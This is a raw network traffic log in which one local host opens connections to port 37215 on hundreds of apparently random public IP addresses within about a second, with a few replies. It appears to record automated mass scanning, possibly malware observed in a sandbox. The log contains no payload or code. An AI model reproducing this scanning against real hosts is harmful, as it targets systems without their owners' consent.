Jan 1, 2024 12:52:01.037367105 CET	37751	37215	192.168.2.13	197.173.157.114
Jan 1, 2024 12:52:01.037367105 CET	37751	37215	192.168.2.13	156.19.224.26
Jan 1, 2024 12:52:01.037370920 CET	37751	37215	192.168.2.13	156.148.222.193
Jan 1, 2024 12:52:01.037367105 CET	37751	37215	192.168.2.13	37.43.118.76
Jan 1, 2024 12:52:01.037378073 CET	37751	37215	192.168.2.13	156.133.6.97
Jan 1, 2024 12:52:01.037384987 CET	37751	37215	192.168.2.13	37.104.81.37
Jan 1, 2024 12:52:01.037384987 CET	37751	37215	192.168.2.13	156.142.28.243
Jan 1, 2024 12:52:01.037400007 CET	37751	37215	192.168.2.13	120.136.72.91
Jan 1, 2024 12:52:01.037405014 CET	37751	37215	192.168.2.13	41.42.188.219
Jan 1, 2024 12:52:01.037406921 CET	37751	37215	192.168.2.13	197.73.230.212
Jan 1, 2024 12:52:01.037408113 CET	37751	37215	192.168.2.13	156.136.234.191
Jan 1, 2024 12:52:01.037411928 CET	37751	37215	192.168.2.13	41.59.3.141
Jan 1, 2024 12:52:01.037415981 CET	37751	37215	192.168.2.13	197.175.162.156
Jan 1, 2024 12:52:01.037416935 CET	37751	37215	192.168.2.13	186.160.17.116
Jan 1, 2024 12:52:01.037416935 CET	37751	37215	192.168.2.13	154.107.89.210
Jan 1, 2024 12:52:01.037420034 CET	37751	37215	192.168.2.13	156.95.5.150
Jan 1, 2024 12:52:01.037424088 CET	37751	37215	192.168.2.13	41.211.182.252
Jan 1, 2024 12:52:01.037432909 CET	37751	37215	192.168.2.13	102.247.110.28
Jan 1, 2024 12:52:01.037432909 CET	37751	37215	192.168.2.13	121.0.8.43
Jan 1, 2024 12:52:01.037442923 CET	37751	37215	192.168.2.13	156.163.31.61
Jan 1, 2024 12:52:01.037446976 CET	37751	37215	192.168.2.13	197.165.22.245
Jan 1, 2024 12:52:01.037447929 CET	37751	37215	192.168.2.13	197.179.194.232
Jan 1, 2024 12:52:01.037451982 CET	37751	37215	192.168.2.13	41.1.158.151
Jan 1, 2024 12:52:01.037457943 CET	37751	37215	192.168.2.13	160.72.212.17
Jan 1, 2024 12:52:01.037458897 CET	37751	37215	192.168.2.13	156.59.234.8
Jan 1, 2024 12:52:01.037460089 CET	37751	37215	192.168.2.13	197.18.169.58
Jan 1, 2024 12:52:01.037472963 CET	37751	37215	192.168.2.13	41.150.145.241
Jan 1, 2024 12:52:01.037473917 CET	37751	37215	192.168.2.13	102.36.193.146
Jan 1, 2024 12:52:01.037473917 CET	37751	37215	192.168.2.13	138.95.21.62
Jan 1, 2024 12:52:01.037486076 CET	37751	37215	192.168.2.13	138.95.11.7
Jan 1, 2024 12:52:01.037493944 CET	37751	37215	192.168.2.13	156.181.166.0
Jan 1, 2024 12:52:01.037497997 CET	37751	37215	192.168.2.13	190.230.181.96
Jan 1, 2024 12:52:01.037512064 CET	37751	37215	192.168.2.13	95.50.211.149
Jan 1, 2024 12:52:01.037513018 CET	37751	37215	192.168.2.13	121.239.222.144
Jan 1, 2024 12:52:01.037513971 CET	37751	37215	192.168.2.13	197.218.4.101
Jan 1, 2024 12:52:01.037514925 CET	37751	37215	192.168.2.13	156.40.197.49
Jan 1, 2024 12:52:01.037525892 CET	37751	37215	192.168.2.13	37.73.226.30
Jan 1, 2024 12:52:01.037525892 CET	37751	37215	192.168.2.13	197.225.70.5
Jan 1, 2024 12:52:01.037525892 CET	37751	37215	192.168.2.13	120.155.161.139
Jan 1, 2024 12:52:01.037525892 CET	37751	37215	192.168.2.13	197.240.61.108
Jan 1, 2024 12:52:01.037528038 CET	37751	37215	192.168.2.13	122.158.144.99
Jan 1, 2024 12:52:01.037528038 CET	37751	37215	192.168.2.13	45.253.144.129
Jan 1, 2024 12:52:01.037535906 CET	37751	37215	192.168.2.13	156.97.78.51
Jan 1, 2024 12:52:01.037543058 CET	37751	37215	192.168.2.13	41.193.23.88
Jan 1, 2024 12:52:01.037543058 CET	37751	37215	192.168.2.13	102.189.191.122
Jan 1, 2024 12:52:01.037543058 CET	37751	37215	192.168.2.13	41.226.7.53
Jan 1, 2024 12:52:01.037549019 CET	37751	37215	192.168.2.13	107.102.247.181
Jan 1, 2024 12:52:01.037569046 CET	37751	37215	192.168.2.13	45.228.238.213
Jan 1, 2024 12:52:01.037570953 CET	37751	37215	192.168.2.13	156.207.13.26
Jan 1, 2024 12:52:01.037570953 CET	37751	37215	192.168.2.13	196.170.231.116
Jan 1, 2024 12:52:01.037574053 CET	37751	37215	192.168.2.13	197.6.128.229
Jan 1, 2024 12:52:01.037586927 CET	37751	37215	192.168.2.13	197.197.31.110
Jan 1, 2024 12:52:01.037587881 CET	37751	37215	192.168.2.13	154.197.199.179
Jan 1, 2024 12:52:01.037592888 CET	37751	37215	192.168.2.13	92.87.139.5
Jan 1, 2024 12:52:01.037592888 CET	37751	37215	192.168.2.13	92.130.135.8
Jan 1, 2024 12:52:01.037594080 CET	37751	37215	192.168.2.13	190.173.103.14
Jan 1, 2024 12:52:01.037594080 CET	37751	37215	192.168.2.13	197.128.169.255
Jan 1, 2024 12:52:01.037594080 CET	37751	37215	192.168.2.13	197.16.26.125
Jan 1, 2024 12:52:01.037595034 CET	37751	37215	192.168.2.13	41.233.112.148
Jan 1, 2024 12:52:01.037601948 CET	37751	37215	192.168.2.13	41.230.127.92
Jan 1, 2024 12:52:01.037601948 CET	37751	37215	192.168.2.13	37.53.129.242
Jan 1, 2024 12:52:01.037605047 CET	37751	37215	192.168.2.13	197.183.213.68
Jan 1, 2024 12:52:01.037616968 CET	37751	37215	192.168.2.13	41.110.164.135
Jan 1, 2024 12:52:01.037616968 CET	37751	37215	192.168.2.13	156.145.80.61
Jan 1, 2024 12:52:01.037617922 CET	37751	37215	192.168.2.13	122.27.214.73
Jan 1, 2024 12:52:01.037621975 CET	37751	37215	192.168.2.13	41.57.171.117
Jan 1, 2024 12:52:01.037621975 CET	37751	37215	192.168.2.13	186.185.72.251
Jan 1, 2024 12:52:01.037626982 CET	37751	37215	192.168.2.13	156.215.115.100
Jan 1, 2024 12:52:01.037632942 CET	37751	37215	192.168.2.13	120.114.159.70
Jan 1, 2024 12:52:01.037632942 CET	37751	37215	192.168.2.13	154.57.52.203
Jan 1, 2024 12:52:01.037636995 CET	37751	37215	192.168.2.13	197.107.218.75
Jan 1, 2024 12:52:01.037662983 CET	37751	37215	192.168.2.13	122.86.210.144
Jan 1, 2024 12:52:01.037666082 CET	37751	37215	192.168.2.13	197.45.131.94
Jan 1, 2024 12:52:01.037666082 CET	37751	37215	192.168.2.13	160.163.70.225
Jan 1, 2024 12:52:01.037672997 CET	37751	37215	192.168.2.13	156.36.247.85
Jan 1, 2024 12:52:01.037673950 CET	37751	37215	192.168.2.13	41.25.27.10
Jan 1, 2024 12:52:01.037676096 CET	37751	37215	192.168.2.13	41.59.101.212
Jan 1, 2024 12:52:01.037687063 CET	37751	37215	192.168.2.13	197.40.22.216
Jan 1, 2024 12:52:01.037693977 CET	37751	37215	192.168.2.13	156.146.191.208
Jan 1, 2024 12:52:01.037695885 CET	37751	37215	192.168.2.13	222.228.14.26
Jan 1, 2024 12:52:01.037699938 CET	37751	37215	192.168.2.13	41.106.74.30
Jan 1, 2024 12:52:01.037702084 CET	37751	37215	192.168.2.13	41.56.128.98
Jan 1, 2024 12:52:01.037702084 CET	37751	37215	192.168.2.13	156.37.81.92
Jan 1, 2024 12:52:01.037702084 CET	37751	37215	192.168.2.13	41.159.101.215
Jan 1, 2024 12:52:01.037703991 CET	37751	37215	192.168.2.13	41.142.221.183
Jan 1, 2024 12:52:01.037710905 CET	37751	37215	192.168.2.13	156.2.178.130
Jan 1, 2024 12:52:01.037712097 CET	37751	37215	192.168.2.13	154.100.228.105
Jan 1, 2024 12:52:01.037719965 CET	37751	37215	192.168.2.13	41.145.158.192
Jan 1, 2024 12:52:01.037722111 CET	37751	37215	192.168.2.13	41.244.181.89
Jan 1, 2024 12:52:01.037722111 CET	37751	37215	192.168.2.13	156.110.174.102
Jan 1, 2024 12:52:01.037724972 CET	37751	37215	192.168.2.13	122.5.201.94
Jan 1, 2024 12:52:01.037741899 CET	37751	37215	192.168.2.13	157.209.64.120
Jan 1, 2024 12:52:01.037745953 CET	37751	37215	192.168.2.13	156.188.115.209
Jan 1, 2024 12:52:01.037750959 CET	37751	37215	192.168.2.13	190.175.66.253
Jan 1, 2024 12:52:01.037750959 CET	37751	37215	192.168.2.13	222.34.68.64
Jan 1, 2024 12:52:01.037750959 CET	37751	37215	192.168.2.13	154.251.154.151
Jan 1, 2024 12:52:01.037750959 CET	37751	37215	192.168.2.13	156.141.223.44
Jan 1, 2024 12:52:01.037755966 CET	37751	37215	192.168.2.13	41.248.231.44
Jan 1, 2024 12:52:01.037759066 CET	37751	37215	192.168.2.13	197.53.251.237
Jan 1, 2024 12:52:01.037760973 CET	37751	37215	192.168.2.13	107.231.75.119
Jan 1, 2024 12:52:01.037761927 CET	37751	37215	192.168.2.13	197.90.224.212
Jan 1, 2024 12:52:01.037776947 CET	37751	37215	192.168.2.13	41.11.31.183
Jan 1, 2024 12:52:01.037780046 CET	37751	37215	192.168.2.13	122.143.163.51
Jan 1, 2024 12:52:01.037780046 CET	37751	37215	192.168.2.13	94.70.58.146
Jan 1, 2024 12:52:01.037781954 CET	37751	37215	192.168.2.13	41.158.193.161
Jan 1, 2024 12:52:01.037791967 CET	37751	37215	192.168.2.13	37.102.55.69
Jan 1, 2024 12:52:01.037798882 CET	37751	37215	192.168.2.13	156.165.151.241
Jan 1, 2024 12:52:01.037800074 CET	37751	37215	192.168.2.13	41.179.184.53
Jan 1, 2024 12:52:01.037806034 CET	37751	37215	192.168.2.13	94.62.142.64
Jan 1, 2024 12:52:01.037806034 CET	37751	37215	192.168.2.13	41.213.180.111
Jan 1, 2024 12:52:01.037820101 CET	37751	37215	192.168.2.13	197.229.152.208
Jan 1, 2024 12:52:01.037820101 CET	37751	37215	192.168.2.13	94.209.148.238
Jan 1, 2024 12:52:01.037823915 CET	37751	37215	192.168.2.13	120.64.162.234
Jan 1, 2024 12:52:01.037827969 CET	37751	37215	192.168.2.13	41.149.143.46
Jan 1, 2024 12:52:01.037827969 CET	37751	37215	192.168.2.13	41.166.254.159
Jan 1, 2024 12:52:01.037827969 CET	37751	37215	192.168.2.13	156.52.164.129
Jan 1, 2024 12:52:01.037830114 CET	37751	37215	192.168.2.13	156.130.253.250
Jan 1, 2024 12:52:01.037827969 CET	37751	37215	192.168.2.13	154.131.135.39
Jan 1, 2024 12:52:01.037832022 CET	37751	37215	192.168.2.13	41.36.170.192
Jan 1, 2024 12:52:01.037834883 CET	37751	37215	192.168.2.13	197.96.2.197
Jan 1, 2024 12:52:01.037837029 CET	37751	37215	192.168.2.13	156.159.25.251
Jan 1, 2024 12:52:01.037842035 CET	37751	37215	192.168.2.13	197.14.89.226
Jan 1, 2024 12:52:01.037846088 CET	37751	37215	192.168.2.13	121.148.130.204
Jan 1, 2024 12:52:01.037846088 CET	37751	37215	192.168.2.13	92.16.184.114
Jan 1, 2024 12:52:01.037847996 CET	37751	37215	192.168.2.13	156.7.148.186
Jan 1, 2024 12:52:01.037862062 CET	37751	37215	192.168.2.13	156.132.56.239
Jan 1, 2024 12:52:01.037862062 CET	37751	37215	192.168.2.13	186.29.102.135
Jan 1, 2024 12:52:01.037862062 CET	37751	37215	192.168.2.13	197.53.181.186
Jan 1, 2024 12:52:01.037873983 CET	37751	37215	192.168.2.13	197.65.248.197
Jan 1, 2024 12:52:01.037878990 CET	37751	37215	192.168.2.13	197.164.243.218
Jan 1, 2024 12:52:01.037883997 CET	37751	37215	192.168.2.13	92.11.6.181
Jan 1, 2024 12:52:01.037883997 CET	37751	37215	192.168.2.13	156.130.149.32
Jan 1, 2024 12:52:01.037883997 CET	37751	37215	192.168.2.13	222.215.44.204
Jan 1, 2024 12:52:01.037887096 CET	37751	37215	192.168.2.13	41.153.63.76
Jan 1, 2024 12:52:01.037888050 CET	37751	37215	192.168.2.13	156.205.26.238
Jan 1, 2024 12:52:01.037893057 CET	37751	37215	192.168.2.13	41.242.207.144
Jan 1, 2024 12:52:01.037894964 CET	37751	37215	192.168.2.13	197.152.116.40
Jan 1, 2024 12:52:01.037899017 CET	37751	37215	192.168.2.13	41.248.128.145
Jan 1, 2024 12:52:01.037899017 CET	37751	37215	192.168.2.13	37.240.170.118
Jan 1, 2024 12:52:01.037899017 CET	37751	37215	192.168.2.13	197.118.92.140
Jan 1, 2024 12:52:01.037899017 CET	37751	37215	192.168.2.13	102.20.125.193
Jan 1, 2024 12:52:01.037914038 CET	37751	37215	192.168.2.13	157.138.204.118
Jan 1, 2024 12:52:01.037914038 CET	37751	37215	192.168.2.13	41.39.173.163
Jan 1, 2024 12:52:01.037923098 CET	37751	37215	192.168.2.13	41.61.131.212
Jan 1, 2024 12:52:01.037924051 CET	37751	37215	192.168.2.13	41.40.82.94
Jan 1, 2024 12:52:01.037924051 CET	37751	37215	192.168.2.13	41.89.147.155
Jan 1, 2024 12:52:01.037924051 CET	37751	37215	192.168.2.13	41.144.116.195
Jan 1, 2024 12:52:01.037925005 CET	37751	37215	192.168.2.13	121.84.251.1
Jan 1, 2024 12:52:01.037925959 CET	37751	37215	192.168.2.13	197.141.152.73
Jan 1, 2024 12:52:01.037928104 CET	37751	37215	192.168.2.13	197.178.86.12
Jan 1, 2024 12:52:01.037928104 CET	37751	37215	192.168.2.13	156.197.42.199
Jan 1, 2024 12:52:01.037928104 CET	37751	37215	192.168.2.13	102.73.131.97
Jan 1, 2024 12:52:01.037928104 CET	37751	37215	192.168.2.13	156.79.224.198
Jan 1, 2024 12:52:01.037940979 CET	37751	37215	192.168.2.13	41.45.215.54
Jan 1, 2024 12:52:01.037945986 CET	37751	37215	192.168.2.13	197.49.168.245
Jan 1, 2024 12:52:01.037945986 CET	37751	37215	192.168.2.13	156.152.210.207
Jan 1, 2024 12:52:01.037946939 CET	37751	37215	192.168.2.13	41.205.173.201
Jan 1, 2024 12:52:01.052665949 CET	44342	37215	192.168.2.13	156.73.181.91
Jan 1, 2024 12:52:01.163220882 CET	37215	37751	107.80.152.183	192.168.2.13
Jan 1, 2024 12:52:01.202847004 CET	37215	37751	154.24.69.194	192.168.2.13
Jan 1, 2024 12:52:01.229526043 CET	37215	37751	196.126.50.191	192.168.2.13
Jan 1, 2024 12:52:01.245385885 CET	37215	37751	190.199.126.26	192.168.2.13
Jan 1, 2024 12:52:01.307481050 CET	37215	37751	41.226.7.53	192.168.2.13
Jan 1, 2024 12:52:01.328483105 CET	37215	37751	181.4.155.205	192.168.2.13
Jan 1, 2024 12:52:01.332197905 CET	37215	37751	121.177.229.234	192.168.2.13
Jan 1, 2024 12:52:01.332777023 CET	37215	37751	41.83.142.227	192.168.2.13
Jan 1, 2024 12:52:01.338408947 CET	37215	37751	95.250.170.80	192.168.2.13
Jan 1, 2024 12:52:01.348261118 CET	37215	37751	94.99.6.250	192.168.2.13
Jan 1, 2024 12:52:01.370117903 CET	37215	37751	156.240.25.197	192.168.2.13
Jan 1, 2024 12:52:01.378113031 CET	37215	37751	156.251.56.26	192.168.2.13
Jan 1, 2024 12:52:01.388377905 CET	37215	37751	95.170.230.155	192.168.2.13
Jan 1, 2024 12:52:01.394247055 CET	37215	37751	41.139.246.161	192.168.2.13
Jan 1, 2024 12:52:01.447531939 CET	37215	37751	92.130.135.8	192.168.2.13
Jan 1, 2024 12:52:02.039117098 CET	37751	37215	192.168.2.13	160.69.60.100
Jan 1, 2024 12:52:02.039122105 CET	37751	37215	192.168.2.13	156.201.197.183
Jan 1, 2024 12:52:02.039123058 CET	37751	37215	192.168.2.13	41.252.121.49
Jan 1, 2024 12:52:02.039123058 CET	37751	37215	192.168.2.13	196.229.253.76
Jan 1, 2024 12:52:02.039128065 CET	37751	37215	192.168.2.13	41.142.239.39
Jan 1, 2024 12:52:02.039129019 CET	37751	37215	192.168.2.13	181.102.249.101
Jan 1, 2024 12:52:02.039134979 CET	37751	37215	192.168.2.13	197.143.10.238
Jan 1, 2024 12:52:02.039135933 CET	37751	37215	192.168.2.13	197.145.64.176
Jan 1, 2024 12:52:02.039141893 CET	37751	37215	192.168.2.13	156.58.183.168
Jan 1, 2024 12:52:02.039146900 CET	37751	37215	192.168.2.13	41.53.134.227
Jan 1, 2024 12:52:02.039148092 CET	37751	37215	192.168.2.13	154.32.76.17
Jan 1, 2024 12:52:02.039148092 CET	37751	37215	192.168.2.13	107.54.216.31
Jan 1, 2024 12:52:02.039148092 CET	37751	37215	192.168.2.13	37.131.126.19
Jan 1, 2024 12:52:02.039153099 CET	37751	37215	192.168.2.13	41.71.242.130
Jan 1, 2024 12:52:02.039153099 CET	37751	37215	192.168.2.13	197.44.254.251
Jan 1, 2024 12:52:02.039153099 CET	37751	37215	192.168.2.13	197.65.209.114
Jan 1, 2024 12:52:02.039165974 CET	37751	37215	192.168.2.13	41.109.214.65
Jan 1, 2024 12:52:02.039165974 CET	37751	37215	192.168.2.13	41.149.26.29
Jan 1, 2024 12:52:02.039165974 CET	37751	37215	192.168.2.13	197.161.49.104
Jan 1, 2024 12:52:02.039169073 CET	37751	37215	192.168.2.13	37.217.131.174
Jan 1, 2024 12:52:02.039169073 CET	37751	37215	192.168.2.13	156.60.124.109
Jan 1, 2024 12:52:02.039186001 CET	37751	37215	192.168.2.13	120.101.5.112
Jan 1, 2024 12:52:02.039197922 CET	37751	37215	192.168.2.13	41.227.158.135
Jan 1, 2024 12:52:02.039199114 CET	37751	37215	192.168.2.13	197.19.120.116
Jan 1, 2024 12:52:02.039200068 CET	37751	37215	192.168.2.13	156.48.106.12
Jan 1, 2024 12:52:02.039200068 CET	37751	37215	192.168.2.13	41.63.205.149
Jan 1, 2024 12:52:02.039201021 CET	37751	37215	192.168.2.13	102.147.112.37
Jan 1, 2024 12:52:02.039232016 CET	37751	37215	192.168.2.13	41.64.127.144
Jan 1, 2024 12:52:02.039232016 CET	37751	37215	192.168.2.13	120.165.185.21
Jan 1, 2024 12:52:02.039232016 CET	37751	37215	192.168.2.13	156.191.32.183
Jan 1, 2024 12:52:02.039232969 CET	37751	37215	192.168.2.13	41.57.241.201
Jan 1, 2024 12:52:02.039233923 CET	37751	37215	192.168.2.13	107.207.12.64
Jan 1, 2024 12:52:02.039232969 CET	37751	37215	192.168.2.13	156.238.7.86
Jan 1, 2024 12:52:02.039232016 CET	37751	37215	192.168.2.13	156.114.135.235
Jan 1, 2024 12:52:02.039233923 CET	37751	37215	192.168.2.13	186.59.31.118
Jan 1, 2024 12:52:02.039237022 CET	37751	37215	192.168.2.13	156.175.118.195
Jan 1, 2024 12:52:02.039232016 CET	37751	37215	192.168.2.13	156.111.208.222
Jan 1, 2024 12:52:02.039237022 CET	37751	37215	192.168.2.13	41.182.94.82
Jan 1, 2024 12:52:02.039232016 CET	37751	37215	192.168.2.13	181.192.100.170
Jan 1, 2024 12:52:02.039232016 CET	37751	37215	192.168.2.13	197.188.6.255
Jan 1, 2024 12:52:02.039236069 CET	37751	37215	192.168.2.13	45.63.231.77
Jan 1, 2024 12:52:02.039232016 CET	37751	37215	192.168.2.13	156.231.196.62
Jan 1, 2024 12:52:02.039237022 CET	37751	37215	192.168.2.13	197.31.23.34
Jan 1, 2024 12:52:02.039236069 CET	37751	37215	192.168.2.13	45.70.121.64
Jan 1, 2024 12:52:02.039237022 CET	37751	37215	192.168.2.13	160.254.183.115
Jan 1, 2024 12:52:02.039236069 CET	37751	37215	192.168.2.13	197.108.156.247
Jan 1, 2024 12:52:02.039232016 CET	37751	37215	192.168.2.13	95.83.21.198
Jan 1, 2024 12:52:02.039247990 CET	37751	37215	192.168.2.13	197.76.215.33
Jan 1, 2024 12:52:02.039247990 CET	37751	37215	192.168.2.13	107.255.78.166
Jan 1, 2024 12:52:02.039252996 CET	37751	37215	192.168.2.13	190.71.18.46
Jan 1, 2024 12:52:02.039271116 CET	37751	37215	192.168.2.13	197.197.67.180
Jan 1, 2024 12:52:02.039273024 CET	37751	37215	192.168.2.13	156.104.211.15
Jan 1, 2024 12:52:02.039273024 CET	37751	37215	192.168.2.13	157.246.43.255
Jan 1, 2024 12:52:02.039273024 CET	37751	37215	192.168.2.13	156.46.133.205
Jan 1, 2024 12:52:02.039273024 CET	37751	37215	192.168.2.13	197.64.10.247
Jan 1, 2024 12:52:02.039273024 CET	37751	37215	192.168.2.13	197.31.58.11
Jan 1, 2024 12:52:02.039274931 CET	37751	37215	192.168.2.13	41.217.206.146
Jan 1, 2024 12:52:02.039274931 CET	37751	37215	192.168.2.13	156.60.29.173
Jan 1, 2024 12:52:02.039275885 CET	37751	37215	192.168.2.13	41.17.85.146
Jan 1, 2024 12:52:02.039275885 CET	37751	37215	192.168.2.13	186.89.34.171
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	122.16.63.226
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	41.228.64.232
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	197.174.218.146
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	37.57.25.47
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	156.168.72.241
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	156.173.19.218
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	41.21.35.225
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	41.230.255.0
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	41.26.227.152
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	197.9.142.67
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	41.28.171.58
Jan 1, 2024 12:52:02.039282084 CET	37751	37215	192.168.2.13	37.182.253.195
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	41.160.155.134
Jan 1, 2024 12:52:02.039282084 CET	37751	37215	192.168.2.13	94.14.138.38
Jan 1, 2024 12:52:02.039282084 CET	37751	37215	192.168.2.13	107.91.70.53
Jan 1, 2024 12:52:02.039282084 CET	37751	37215	192.168.2.13	190.165.178.38
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	197.70.105.14
Jan 1, 2024 12:52:02.039277077 CET	37751	37215	192.168.2.13	160.23.196.164
Jan 1, 2024 12:52:02.039293051 CET	37751	37215	192.168.2.13	197.144.57.133
Jan 1, 2024 12:52:02.039293051 CET	37751	37215	192.168.2.13	41.1.101.58
Jan 1, 2024 12:52:02.039294004 CET	37751	37215	192.168.2.13	94.233.128.182
Jan 1, 2024 12:52:02.039294004 CET	37751	37215	192.168.2.13	157.179.104.90
Jan 1, 2024 12:52:02.039294958 CET	37751	37215	192.168.2.13	156.219.123.235
Jan 1, 2024 12:52:02.039294004 CET	37751	37215	192.168.2.13	156.43.253.178
Jan 1, 2024 12:52:02.039294958 CET	37751	37215	192.168.2.13	156.30.39.56
Jan 1, 2024 12:52:02.039300919 CET	37751	37215	192.168.2.13	197.18.103.251
Jan 1, 2024 12:52:02.039305925 CET	37751	37215	192.168.2.13	41.127.83.74
Jan 1, 2024 12:52:02.039309025 CET	37751	37215	192.168.2.13	122.246.85.215
Jan 1, 2024 12:52:02.039309025 CET	37751	37215	192.168.2.13	156.252.188.100
Jan 1, 2024 12:52:02.039333105 CET	37751	37215	192.168.2.13	156.179.59.16
Jan 1, 2024 12:52:02.039333105 CET	37751	37215	192.168.2.13	197.213.158.15
Jan 1, 2024 12:52:02.039333105 CET	37751	37215	192.168.2.13	41.86.145.212
Jan 1, 2024 12:52:02.039335012 CET	37751	37215	192.168.2.13	197.55.221.1
Jan 1, 2024 12:52:02.039335012 CET	37751	37215	192.168.2.13	120.111.124.192
Jan 1, 2024 12:52:02.039339066 CET	37751	37215	192.168.2.13	156.118.216.91
Jan 1, 2024 12:52:02.039340019 CET	37751	37215	192.168.2.13	197.95.39.133
Jan 1, 2024 12:52:02.039340019 CET	37751	37215	192.168.2.13	41.157.233.72
Jan 1, 2024 12:52:02.039340019 CET	37751	37215	192.168.2.13	197.28.149.93
Jan 1, 2024 12:52:02.039340019 CET	37751	37215	192.168.2.13	181.135.197.28
Jan 1, 2024 12:52:02.039340973 CET	37751	37215	192.168.2.13	156.49.181.38
Jan 1, 2024 12:52:02.039340019 CET	37751	37215	192.168.2.13	45.86.76.93
Jan 1, 2024 12:52:02.039340973 CET	37751	37215	192.168.2.13	156.198.73.207
Jan 1, 2024 12:52:02.039340019 CET	37751	37215	192.168.2.13	41.250.227.225
Jan 1, 2024 12:52:02.039340973 CET	37751	37215	192.168.2.13	157.167.252.182
Jan 1, 2024 12:52:02.039340973 CET	37751	37215	192.168.2.13	197.137.185.145
Jan 1, 2024 12:52:02.039340973 CET	37751	37215	192.168.2.13	197.78.136.8
Jan 1, 2024 12:52:02.039340973 CET	37751	37215	192.168.2.13	154.138.153.230
Jan 1, 2024 12:52:02.039343119 CET	37751	37215	192.168.2.13	41.88.159.19
Jan 1, 2024 12:52:02.039340973 CET	37751	37215	192.168.2.13	196.147.133.228
Jan 1, 2024 12:52:02.039343119 CET	37751	37215	192.168.2.13	154.160.84.16
Jan 1, 2024 12:52:02.039344072 CET	37751	37215	192.168.2.13	41.158.185.157
Jan 1, 2024 12:52:02.039340973 CET	37751	37215	192.168.2.13	37.80.25.232
Jan 1, 2024 12:52:02.039344072 CET	37751	37215	192.168.2.13	156.20.145.175
Jan 1, 2024 12:52:02.039343119 CET	37751	37215	192.168.2.13	156.217.225.117
Jan 1, 2024 12:52:02.039343119 CET	37751	37215	192.168.2.13	107.192.130.157
Jan 1, 2024 12:52:02.039343119 CET	37751	37215	192.168.2.13	41.73.112.115
Jan 1, 2024 12:52:02.039351940 CET	37751	37215	192.168.2.13	92.196.138.160
Jan 1, 2024 12:52:02.039366007 CET	37751	37215	192.168.2.13	190.108.115.231
Jan 1, 2024 12:52:02.039366007 CET	37751	37215	192.168.2.13	41.117.29.91
Jan 1, 2024 12:52:02.039366961 CET	37751	37215	192.168.2.13	121.20.6.156
Jan 1, 2024 12:52:02.039366961 CET	37751	37215	192.168.2.13	197.231.106.91
Jan 1, 2024 12:52:02.039370060 CET	37751	37215	192.168.2.13	94.42.175.69
Jan 1, 2024 12:52:02.039370060 CET	37751	37215	192.168.2.13	160.218.211.65
Jan 1, 2024 12:52:02.039371014 CET	37751	37215	192.168.2.13	94.71.44.251
Jan 1, 2024 12:52:02.039371014 CET	37751	37215	192.168.2.13	92.102.17.155
Jan 1, 2024 12:52:02.039372921 CET	37751	37215	192.168.2.13	181.193.52.237
Jan 1, 2024 12:52:02.039372921 CET	37751	37215	192.168.2.13	197.38.242.248
Jan 1, 2024 12:52:02.039372921 CET	37751	37215	192.168.2.13	197.32.98.236
Jan 1, 2024 12:52:02.039377928 CET	37751	37215	192.168.2.13	156.76.192.243
Jan 1, 2024 12:52:02.039385080 CET	37751	37215	192.168.2.13	41.237.165.208
Jan 1, 2024 12:52:02.039385080 CET	37751	37215	192.168.2.13	197.116.159.221
Jan 1, 2024 12:52:02.039385080 CET	37751	37215	192.168.2.13	156.13.219.213
Jan 1, 2024 12:52:02.039385080 CET	37751	37215	192.168.2.13	197.152.187.255
Jan 1, 2024 12:52:02.039385080 CET	37751	37215	192.168.2.13	41.104.3.159
Jan 1, 2024 12:52:02.039392948 CET	37751	37215	192.168.2.13	156.204.114.146
Jan 1, 2024 12:52:02.039393902 CET	37751	37215	192.168.2.13	156.61.22.60
Jan 1, 2024 12:52:02.039393902 CET	37751	37215	192.168.2.13	197.78.240.147
Jan 1, 2024 12:52:02.039397955 CET	37751	37215	192.168.2.13	156.158.175.204
Jan 1, 2024 12:52:02.039402008 CET	37751	37215	192.168.2.13	181.35.138.175
Jan 1, 2024 12:52:02.039417028 CET	37751	37215	192.168.2.13	197.34.192.113
Jan 1, 2024 12:52:02.039426088 CET	37751	37215	192.168.2.13	41.209.117.112
Jan 1, 2024 12:52:02.039426088 CET	37751	37215	192.168.2.13	181.38.203.93
Jan 1, 2024 12:52:02.039427042 CET	37751	37215	192.168.2.13	41.52.234.125
Jan 1, 2024 12:52:02.039427042 CET	37751	37215	192.168.2.13	41.233.235.114
Jan 1, 2024 12:52:02.039427042 CET	37751	37215	192.168.2.13	41.222.93.15
Jan 1, 2024 12:52:02.039437056 CET	37751	37215	192.168.2.13	156.97.140.93
Jan 1, 2024 12:52:02.039437056 CET	37751	37215	192.168.2.13	156.163.57.100
Jan 1, 2024 12:52:02.039437056 CET	37751	37215	192.168.2.13	156.247.51.99
Jan 1, 2024 12:52:02.039437056 CET	37751	37215	192.168.2.13	157.96.110.82
Jan 1, 2024 12:52:02.039437056 CET	37751	37215	192.168.2.13	197.116.174.39
Jan 1, 2024 12:52:02.039437056 CET	37751	37215	192.168.2.13	156.66.122.18
Jan 1, 2024 12:52:02.039437056 CET	37751	37215	192.168.2.13	197.139.202.192
Jan 1, 2024 12:52:02.039438963 CET	37751	37215	192.168.2.13	222.56.142.159
Jan 1, 2024 12:52:02.039438009 CET	37751	37215	192.168.2.13	197.197.83.104
Jan 1, 2024 12:52:02.039452076 CET	37751	37215	192.168.2.13	186.237.205.21
Jan 1, 2024 12:52:02.039452076 CET	37751	37215	192.168.2.13	37.112.250.19
Jan 1, 2024 12:52:02.039452076 CET	37751	37215	192.168.2.13	122.131.19.15
Jan 1, 2024 12:52:02.039454937 CET	37751	37215	192.168.2.13	197.214.157.76
Jan 1, 2024 12:52:02.039463997 CET	37751	37215	192.168.2.13	197.198.81.12
Jan 1, 2024 12:52:02.039464951 CET	37751	37215	192.168.2.13	95.144.84.2
